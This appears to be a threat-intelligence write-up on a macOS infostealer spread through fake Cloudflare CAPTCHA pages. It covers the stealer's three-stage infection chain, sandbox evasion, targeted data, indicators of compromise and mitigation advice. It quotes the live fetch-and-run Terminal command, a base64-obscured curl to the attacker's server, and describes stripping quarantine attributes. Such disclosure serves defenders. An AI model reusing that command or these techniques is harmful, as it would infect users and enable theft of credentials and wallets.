During a routine threat-hunting exercise, researchers uncovered a previously unknown macOS malware strain. At first, it was internally labeled NukeChain, but further investigation revealed its actual identity after the attacker’s control panel became publicly accessible. The malware is now known as Infiniti Stealer.
This discovery highlights a growing trend: macOS is no longer considered a low-risk platform. Attackers are now adapting proven Windows-based techniques and tailoring them specifically for Mac users.
Infiniti Stealer is particularly notable because it combines social engineering with modern malware development practices. Instead of exploiting vulnerabilities, it tricks users into infecting themselves. Additionally, its payload is built using Python and compiled into a native macOS binary, making detection and analysis more difficult.
Threat Overview
Infiniti Stealer is designed to extract sensitive information from macOS systems. Its distribution method relies heavily on deception rather than technical exploits. This approach makes it both effective and difficult to detect with traditional security mechanisms.
One of its most interesting characteristics is its delivery method, known as ClickFix. Rather than silently exploiting a flaw, it persuades users to execute malicious commands themselves.
ClickFix: A Shift Toward Human Exploitation
Unlike traditional malware campaigns that depend on software weaknesses, ClickFix focuses entirely on user behavior. The victim is presented with a fake verification page that appears legitimate.
The page instructs users to open Terminal and paste a command. On macOS, the instructions are tailored specifically:
- Press Command + Space
- Open Terminal
- Paste the provided command
- Press Return
Because the user manually executes the command, the attack bypasses many conventional defenses. There is no malicious download, no suspicious attachment, and no exploit being triggered in the background.
Initial Infection Vector: Fake CAPTCHA Page
The infection begins when a user visits a malicious domain designed to look like a legitimate verification page.
The page imitates a Cloudflare CAPTCHA system and instructs users to run the following command:
bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))
Once decoded, this command retrieves a script from the attacker-controlled server. This script initiates the first stage of the infection chain.
Technical Breakdown of the Attack Chain
Stage 1: Bash Dropper
The first stage is a Bash script that acts as a loader. Its structure resembles previously observed macOS malware families, suggesting the use of shared tooling or builders.
This script performs several actions:
- Decodes embedded payload data
- Writes a secondary binary to the
/tmpdirectory - Removes macOS quarantine attributes using
xattr -dr com.apple.quarantine - Executes the payload using
nohup - Passes command-and-control (C2) details as environment variables
- Deletes itself to reduce forensic traces
- Closes Terminal via AppleScript
This stage is simple but effective, ensuring the next payload runs without interruption.
Stage 2: Nuitka-Based Loader
The second stage is where things become more sophisticated.
The payload is a Mach-O binary built for Apple Silicon systems and compiled using Nuitka in onefile mode. The binary is approximately 8.6 MB in size.
A key identifying marker in the file header is: 4b 41 59 28 b5 2f fd
This signature corresponds to a Nuitka-specific format using zstd compression.
Unlike tools like PyInstaller, Nuitka converts Python code into C before compiling it into a native executable. This significantly increases the difficulty of reverse engineering.
When executed, this loader decompresses around 35 MB of embedded data and launches the final stage.
Stage 3: Python-Based Infostealer
The final payload, named UpdateHelper[.]bin, is a Python 3.11-based stealer compiled with Nuitka.
Even though it is compiled, the binary still contains thousands of identifiable symbols. This allows analysts to reconstruct its internal structure.
The malware targets a wide range of sensitive information:
- Browser credentials (Chromium-based browsers and Firefox)
- macOS Keychain data
- Cryptocurrency wallets
- Developer secrets such as
.envfiles - Screenshots captured during execution
The stolen data is sent to the attacker via HTTP POST requests.
Evasion Techniques
Before collecting data, the malware checks whether it is running in an analysis environment. It looks for indicators of platforms such as:
- any.run
- Joe Sandbox
- Hybrid Analysis
- VMware
- VirtualBox
It also introduces random delays to avoid automated detection systems.
Once data exfiltration is complete, a function named upload_complete() sends a notification to the attacker via Telegram. The stolen credentials are then queued for password cracking on the attacker’s infrastructure.
Impact Assessment
This malware demonstrates how attackers are evolving:
- Social engineering is replacing traditional exploits
- macOS is increasingly being targeted
- Advanced compilation techniques are making malware harder to analyze
If this model proves successful, similar campaigns are likely to become more common.
Response and Mitigation
If a user suspects they may have executed such a command, immediate action is necessary.
Stop using the affected device for any sensitive activity. Passwords should be changed from a clean system, starting with critical accounts such as email, banking, and Apple ID.
It is also important to revoke active sessions, API tokens, and SSH keys. Users should inspect directories like /tmp and ~/Library/LaunchAgents/ for suspicious files.
Running a full anti-malware scan is strongly recommended.
Most importantly, users should never paste commands into Terminal from unknown or untrusted websites. Legitimate verification systems do not require such actions.
Indicators of Compromise (IOCs)
| Type | Value |
|---|---|
| MD5 dropper | da73e42d1f9746065f061a6e85e28f0c |
| SHA256 Stage-3 | 1e63be724bf651bb17bcf181d11bacfabef6a6360dcdfda945d6389e80f2b958 |
| C2 domain | update-check[.]com |
| C2 URL | https://update-check[.]com/m/7d8df27d95d9 |
| C2 Panel | Infiniti-stealer[.]com |
| Packer magic | 4b 41 59 28 b5 2f fd (KAY + zstd) |
| Debug log | /tmp/.bs_debug.log |
| Temp path | /tmp/.2835b1b5098587a9XXXXXX |
Our Analysis and Opinion
From our perspective, Infiniti Stealer represents a significant shift in how attackers approach macOS environments. Traditionally, macOS users have relied on the perception that their systems are inherently safer than Windows machines. However, this campaign clearly demonstrates that attackers are no longer ignoring Apple’s ecosystem.
What stands out the most is the reliance on human interaction rather than technical vulnerabilities. By using ClickFix, the attacker removes the need for exploit development entirely. This lowers the barrier to entry for cybercriminals and increases the likelihood of success, especially among non-technical users. Social engineering continues to prove that the human element is often the weakest link in cybersecurity.
Another important aspect is the use of Nuitka for compiling Python into native binaries. This is not just a minor technical detail—it represents a broader trend. Attackers are investing more effort into making their malware harder to analyze. Traditional detection mechanisms often rely on identifying known patterns in scripts or binaries. By converting Python code into compiled C-based executables, attackers significantly reduce visibility for analysts and security tools.
We also believe this campaign signals the beginning of more hybrid attack techniques targeting macOS. Instead of relying solely on phishing, exploits, or malware, attackers are combining multiple strategies into a single chain. This layered approach increases resilience against detection and improves overall effectiveness.
Furthermore, the targeting of developer-related data such as .env files is particularly concerning. This suggests attackers are not only interested in personal credentials but also in gaining access to infrastructure, APIs, and cloud environments. This could lead to broader supply chain attacks if compromised credentials are reused across systems.
In our view, defensive strategies must evolve accordingly. Organizations and individuals should prioritize user awareness alongside technical controls. Endpoint protection alone is not enough when the user is willingly executing malicious commands.
Ultimately, Infiniti Stealer is not just another piece of malware—it is a clear indicator of where macOS threats are heading. If similar campaigns continue to succeed, we can expect a rapid increase in sophisticated macOS-targeted attacks in the near future.
